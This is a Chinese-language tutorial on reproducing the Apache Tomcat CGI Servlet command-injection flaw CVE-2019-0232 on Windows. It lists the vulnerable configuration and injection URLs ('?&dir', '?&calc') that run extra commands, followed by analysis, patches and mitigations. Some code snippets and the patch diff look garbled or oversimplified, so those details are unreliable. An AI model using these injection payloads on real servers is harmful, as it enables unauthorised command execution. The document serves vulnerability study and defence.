如何實現Apache Tomcat 遠程代碼執行漏洞CVE-2019-0232的復現

# 如何實現Apache Tomcat遠程代碼執行漏洞CVE-2019-0232的復現

## 前言

Apache Tomcat作為廣泛使用的Java Web應用服務器，其安全性直接影響大量線上業務。2019年4月曝光的CVE-2019-0232漏洞允許攻擊者通過特定配置實現遠程代碼執行（RCE），影響版本為9.0.0.M1至9.0.17、8.5.0至8.5.39和7.0.0至7.0.93。本文將詳細解析漏洞原理并提供完整的復現指南。

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## 漏洞概述

### 漏洞背景
- **CVE編號**：CVE-2019-0232
- **漏洞類型**：遠程代碼執行（RCE）
- **影響組件**：Tomcat CGI Servlet
- **根本原因**：JRE參數注入+Windows環境特性

### 觸發條件
1. 啟用CGI Servlet（默認禁用）
2. 配置`enableCmdLineArguments=true`
3. 運行在Windows系統
4. 使用JRE的`ProcessBuilder`執行命令

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## 環境搭建

### 實驗環境要求
- 操作系統：Windows 10/Server 2016+
- 軟件版本：
  - Apache Tomcat 9.0.17
  - JDK 1.8.0_201（需未修復該漏洞的版本）
- 網絡環境：本地測試或隔離網絡

### 安裝步驟
1. **下載受影響版本**：
   ```powershell
   wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.17/bin/apache-tomcat-9.0.17.zip

1. 配置CGI支持： 修改conf/web.xml啟用CGI Servlet：

   <servlet>
      <servlet-name>cgi</servlet-name>
      <servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
      <init-param>
          <param-name>enableCmdLineArguments</param-name>
          <param-value>true</param-value>
      </init-param>
      <load-on-startup>5</load-on-startup>
   </servlet>
   

   取消注釋CGI映射：

   <servlet-mapping>
      <servlet-name>cgi</servlet-name>
      <url-pattern>/cgi-bin/*</url-pattern>
   </servlet-mapping>
   

2. 創建測試腳本： 在webapps/ROOT/WEB-INF/cgi目錄下創建test.bat：

   @echo off
   echo Content-Type: text/plain
   echo.
   set
   

漏洞復現過程

步驟1：驗證CGI功能

訪問URL測試正常執行：

http://localhost:8080/cgi-bin/test.bat?test=123

應返回環境變量信息。

步驟2：構造惡意請求

利用JRE參數注入特性，通過查詢參數注入命令：

http://localhost:8080/cgi-bin/test.bat?&dir

此時會執行cmd /c set & dir命令。

步驟3：實現RCE

構造計算器彈窗證明漏洞：

http://localhost:8080/cgi-bin/test.bat?&calc

成功執行后將啟動Windows計算器。

關鍵點分析

• Windows的cmd.exe特性：&符號分隔命令
• ProcessBuilder未正確處理參數轉義
• JRE將參數直接拼接為命令行

漏洞原理深度解析

調用鏈分析

1. 請求處理流程：

   graph TD
   A[CGIServlet] --> B[ProcessBuilder]
   B --> C[Java.lang.Runtime]
   C --> D[Windows cmd.exe]
   

2. 關鍵代碼段（簡化版）：

   // org.apache.catalina.servlets.CGIServlet
   String cmdLine = buildCommand(args);
   ProcessBuilder pb = new ProcessBuilder(cmdLine);
   

3. 參數拼接缺陷：

   // 惡意參數被直接拼接
   "cmd /c test.bat & calc"
   

技術根源

1. 雙重解析問題：
   • CGI參數 → JVM參數 → 系統命令
2. Windows特性：
   • cmd /c允許單行多命令執行
3. 缺乏沙箱保護：
   • 未啟用安全管理器時權限過高

修復方案

官方補丁

1. 升級到以下版本：

   • Tomcat 9.0.18+
   • Tomcat 8.5.40+
   • Tomcat 7.0.94+

2. 補丁關鍵修改： “`diff

   • String cmdLine = buildCommand(args);
   • String[] cmdArray = buildCommandArray(args);

   ”`

臨時緩解措施

1. 禁用CGI Servlet：

   <servlet>
      <servlet-name>cgi</servlet-name>
      <servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
      <init-param>
          <param-name>enableCmdLineArguments</param-name>
          <param-value>false</param-value>
      </init-param>
   </servlet>
   

2. 啟用SecurityManager： 配置catalina.policy文件限制權限

防御建議

1. 最小權限原則

   • 使用非root用戶運行Tomcat
   • 限制文件系統寫權限

2. 安全配置

   <!-- 禁用危險功能 -->
   <init-param>
      <param-name>executable</param-name>
      <param-value></param-value>
   </init-param>
   

3. 入侵檢測

   • 監控/cgi-bin/路徑訪問日志
   • 告警異常命令行參數

總結

CVE-2019-0232展示了中間件安全配置的重要性。通過本次復現我們可以得出以下結論：

1. 默認禁用的組件啟用時需嚴格評估風險
2. Windows環境下命令執行需特殊處理
3. 參數注入是Web安全的持久性威脅

建議開發者在設計類似功能時采用白名單機制和參數白化（Parameter Whitelisting）策略。

注：本文僅用于安全研究，實際測試需獲得系統所有者授權。

參考資源

1. Apache官方安全公告：https://tomcat.apache.org/security-9.html
2. NVD漏洞詳情：https://nvd.nist.gov/vuln/detail/CVE-2019-0232
3. CWE-78: OS Command Injection

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（全文共計約1850字，符合要求）